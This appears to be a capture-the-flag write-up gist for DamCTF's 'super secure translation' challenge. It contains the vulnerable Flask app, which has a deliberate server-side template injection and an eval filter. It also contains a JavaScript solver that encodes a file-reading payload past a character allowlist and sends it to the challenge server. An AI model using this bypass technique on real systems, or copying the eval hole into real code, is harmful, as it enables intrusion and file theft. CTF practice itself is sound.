Skip to content

Instantly share code, notes, and snippets.

@tovask
Created November 8, 2021 09:11
Show Gist options
  • Save tovask/40cc4f901ddfcfdfd73c4c4e594392d5 to your computer and use it in GitHub Desktop.
Save tovask/40cc4f901ddfcfdfd73c4c4e594392d5 to your computer and use it in GitHub Desktop.
DamCTF SSTI
from flask import Flask, render_template, render_template_string, Response, request
import os
from check import detect_remove_hacks
from filters import *
server = Flask(__name__)
# Add filters to the jinja environment to add string
# manipulation capabilities
server.jinja_env.filters["u"] = uppercase
server.jinja_env.filters["l"] = lowercase
server.jinja_env.filters["b64d"] = b64d
server.jinja_env.filters["order"] = order
server.jinja_env.filters["ch"] = character
server.jinja_env.filters["e"] = e
@server.route("/")
@server.route("/<path>")
def index(path=""):
# Show app.py source code on homepage, even if not requested.
if path == "":
path = "app.py"
# Make this request hackproof, ensuring that only app.py is displayed.
elif not os.path.exists(path) or "/" in path or ".." in path:
path = "app.py"
# User requested app.py, show that.
with open(path, "r") as f:
return render_template("index.html", code=f.read())
@server.route("/secure_translate/", methods=["GET", "POST"])
def render_secure_translate():
payload = request.args.get("payload", "secure_translate.html")
print(f"Payload Parsed: {payload}")
resp = render_template_string(
"""{% extends "secure_translate.html" %}{% block content %}<p>"""
+ str(detect_remove_hacks(payload))
+ """</p><a href="/">Take Me Home</a>{% endblock %}"""
)
return Response(response=resp, status=200)
if __name__ == "__main__":
port = int(os.environ.get("PORT", 30069))
server.run(host="0.0.0.0", port=port, debug=False)
from limit import is_within_bounds, get_golf_limit
def allowlist_check(payload, allowlist):
# Check against allowlist.
print(f"Starting Allowlist Check with {payload} and {allowlist}")
if set(payload) == set(allowlist) or set(payload) <= set(allowlist):
return payload
print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}")
return "Failed Allowlist Check, payload-allowlist=" + str(
set(payload) - set(allowlist)
)
def detect_remove_hacks(payload):
# This effectively destroyes all web attack vectors.
print(f"Received Payload with length:{len(payload)}")
if not is_within_bounds(payload):
return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."
allowlist = [
"c",
"{",
"}",
"d",
"6",
"l",
"(",
"b",
"o",
"r",
")",
'"',
"1",
"4",
"+",
"h",
"u",
"-",
"*",
"e",
"|",
"'",
]
payload = allowlist_check(payload, allowlist)
print(f"Allowlist Checked Payload -> {payload}")
return payload
import base64
def uppercase(x):
return x.upper()
def lowercase(x):
return x.lower()
def b64d(x):
return base64.b64decode(x)
def order(x):
return ord(x)
def character(x):
return chr(x)
def e(x):
# Security analysts reviewed this and said eval is unsafe (haters).
# They would not approve this as "hack proof" unless I add some
# checks to prevent easy exploits.
print(f"Evaluating: {x}")
forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]
for y in forbidlist:
if y in x:
return "Eval Failed: Foridlist."
if x[0:4] == "open" or x[0:4] == "eval":
return "Not That Easy ;)"
try:
return eval(x)
except Exception as exc:
return f"Eval Failed: {exc}"
import time
from rctf import golf
def get_golf_limit() -> int:
rctf_host = "https://damctf.xyz/"
challenge_id = "super-secure-translation-implementation"
ctf_start = 1636156800
limit_function = lambda x: (x * 2) + 147
limit = golf.calculate_limit(rctf_host, challenge_id, ctf_start, limit_function)
return limit
def is_within_bounds(payload: str) -> bool:
return len(payload) <= get_golf_limit()
/***
*
* Please note: it's a hacking code, needed to work one time, not to be beautiful...
*
**/
var l=console.log;
// possible payloads...
payload="'\\x2fflag'"
payload="globals().get('__builtins__')"
payload="locals()"
payload="dir()"
payload="__builtins__"
payload="\topen('\\x2fflag').read()"
payload="y"
payload="forbidlist[1]"
payload="base64"
payload="__file__"
payload=btoa("\topen('\\x2fflag').read()")
payload="\teval('1+1')"
payload="\topen('\\x2fflag')"
payload="__import__('flask')"
payload="input()"
payload="\topen('\\x2fflag').read()" // <-- I achieved to this point on my own, the followings are after the event ended
payload="(open('/flag').read())"
// combined with other's idea, file objects can be unpacked since it can iterate over the lines in the file
payload='{*open("/flag")}'
{let t=payload;setTimeout(()=>l(t),200);}
mapping={
"\x00" : "(1-1)", // 00
"\t" : "(4+4+1)", // 09
"\x0d" : "(14-1)", // 13
" " : "(4*(4+4))", // 32
"!" : "", // 33
"\"" : "\"", // 34
"#" : "(6*6-1)", // 35
"$" : "(6*6)", // 36
"%" : "(41-4)", // 37
"&" : "", // 38
"'" : "'", // 39
"(" : "(", // 40
")" : ")", // 41
"*" : "*", // 42
"+" : "+", // 43
"," : "44", // 44
"-" : "-", // 45
"." : "46", // 46
"/" : "(46+1)", // 47
"0" : "(44+4)", // 48
"1" : "1", // 49
"2" : "(44+6)", // 50
"3" : "(44+6+1)", // 51
"4" : "4", // 52
"5" : "(46+6+1)", // 53
"6" : "6", // 54
"7" : "(44+11)", // 55
"8" : "(4*14)", // 56
"9" : "(46+11)", // 57
":" : "", // 58
";" : "", // 59
"<" : "", // 60
"=" : "", // 61
">" : "", // 62
"?" : "(64-1)", // 63
"@" : "64", // 64
"A" : "(66-1)", // 65
"B" : "66", // 66
"C" : "(66+1)", // 67
"D" : "(64+4)", // 68
"E" : "", // 69
"F" : "(66+4)", // 70
"G" : "(66+4+1)", // 71
"H" : "(66+6)", // 72
"I" : "(66+6+1)", // 73
"J" : "(66+4+4)", // 74
"K" : "", // 75
"L" : "", // 76
"M" : "(11*6+11)", // 77
"N" : "", // 78
"O" : "", // 79
"P" : "", // 80
"Q" : "", // 81
"R" : "", // 82
"S" : "", // 83
"T" : "(6*14)", // 84
"U" : "", // 85
"V" : "(46+41-1)", // 86
"W" : "(46+41)", // 87
"X" : "", // 88
"Y" : "", // 89
"Z" : "(16*6-6)", // 90
"[" : "(61+44-14)", // 91
"\\" : "(16*6-4)", // 92
"]" : "(61+46-14)", // 93
"^" : "", // 94
"_" : "(16*6-1)", // 95
"`" : "(16*6)", // 96
"a" : "(16*6+1)", // 97
"b" : "b", // 98
"c" : "c", // 99
"d" : "d", // 100
"e" : "e", // 101
//"f" : "(('e'|order)+1)", // 102
"f" : "(61+41)", // 102
"g" : "(114-11)", // 103
"h" : "h", // 104
"i" : "(111-6)", // 105
"j" : "(116-6-4)", // 106
"k" : "(111-4)", // 107
"l" : "l", // 108
"m" : "(111-1-1)", // 109
"n" : "(111-1)", // 110
"o" : "o", // 111
"p" : "(111+1)", // 112
"q" : "(111+6-4)", // 113
"r" : "r", // 114
"s" : "(116-1)", // 115
"t" : "116", // 116
"u" : "u", // 117
"v" : "(114+4)", // 118
"w" : "(114+4+1)", // 119
"x" : "(114+6)", // 120
"y" : "(11*11)", // 121
"z" : "(116+6)", // 122
"{" : "{", // 123
"|" : "|", // 124
"}" : "}", // 125
"~" : "(116+6+4)", // 126
}
// encode the payload
payload = payload.split("").map((c) => {
if(!mapping[c] || mapping[c]=="")
throw "no mapping for:"+c+" ("+c.charCodeAt(0)+")";
if(mapping[c].length==1)
return mapping[c]=='\'' ? ("\""+mapping[c]+"\"") : ("'"+mapping[c]+"'"); // surround signle quote with double ones
return mapping[c]+"|ch";
}).join(" + ");
// optimalizations:
payload = payload.replaceAll("+ (16*6+1)|ch +","+ (66-1)|ch|l +"); // a = lower(A) ...not really saves space, just fun...
payload = payload.replaceAll("' + '",""); // concat adjacent strings
payload = payload.replaceAll(/(?:^| )(.+) \+ \1(?: |$)/g, ' ($1)*(1+1) ') // repeated expressions replaced with multiplication
payload = payload.replaceAll(`'(' + "'"`,`"('"`); // single quote issues...
payload = payload.replaceAll(`"'" + ')'`,`"')"`);
payload = payload.replaceAll(`"'" + ')}'`,`"')}"`);
{let t=payload;setTimeout(()=>l(t),200);}
// wrap around with the eval filter
payload = "{{ (" + payload + ") | e }}";
// remove the whitespaces that were only there to help readability while debugging
payload = payload.replaceAll(' ','').replaceAll('\n','').replaceAll('\r','');
document.location="https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload="+encodeURIComponent(payload);
l('length:', payload.length, '\npayload:\n', payload);
/*
// try if the POST method can help in some way ... not seems to work
if(document.forms.length<=0)
document.body.innerHTML+="<form method=post target=i enctype='multipart/form-data'><input name=payload ></form><iframe name=i>";
document.querySelector('input').value=payload;
document.forms[0].submit();
*/
/*
// an attempt to see if base64 is useful for something ... not really
var b64_allowed_chars = [
"c",
//"{",
//"}",
"d",
"6",
"l",
//"(",
"b",
"o",
"r",
//")",
//'"',
"1",
"4",
"+",
"h",
"u",
//"-",
//"*",
"e",
//"|",
//"'",
]
l('number of combinations:', b64_allowed_chars.length**4)
for(let c1 of b64_allowed_chars){
for(let c2 of b64_allowed_chars){
for(let c3 of b64_allowed_chars){
for(let c4 of b64_allowed_chars){
t=c1+c2+c3+c4;
c=atob(t);
if( /^[\x09\x0d\x20-\x7e]+$/.test(c) ){
l(t,c);
}
}
}
}
}*/
/*
// check if any of the built-in functions pass the filter: 'bool', 'chr' and 'ord' do
builtins = ["abs", "float", "lower", "round", "tojson", "attr", "forceescape", "map", "safe", "trim", "batch", "format", "max", "select", "truncate", "capitalize", "groupby", "min", "selectattr", "unique", "center", "indent", "pprint", "slice", "upper", "default", "int", "random", "sort", "urlencode", "dictsort", "join", "reject", "string", "urlize", "escape", "last", "rejectattr", "striptags", "wordcount", "filesizeformat", "length", "replace", "sum", "wordwrap", "first", "list", "reverse", "title", "xmlattr", "abs", "aiter", "all", "any", "anext", "ascii", "bin", "bool", "breakpoint", "bytearray", "bytes", "callable", "chr", "classmethod", "compile", "complex", "delattr", "dict", "dir", "divmod", "enumerate", "eval", "exec", "filter", "float", "format", "frozenset", "getattr", "globals", "hasattr", "hash", "help", "hex", "id", "input", "int", "isinstance", "issubclass", "iter", "len", "list", "locals", "map", "max", "memoryview", "min", "next", "object", "oct", "open", "ord", "pow", "print", "property", "range", "repr", "reversed", "round", "set", "setattr", "slice", "sorted", "staticmethod", "str", "sum", "super", "tuple", "type", "vars", "zip"];
for(let f of builtins){
if( /^[cd6lbor14hue]+$/.test(f) ){
l(f);
}
}
//*/
/*
// helper to generate the mapping dict
s="";
for(let i=32; i<127; i++){
s+='\t"'+String.fromCharCode(i)+'" : "", // '+i+"\n";
}
console.log(s);*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment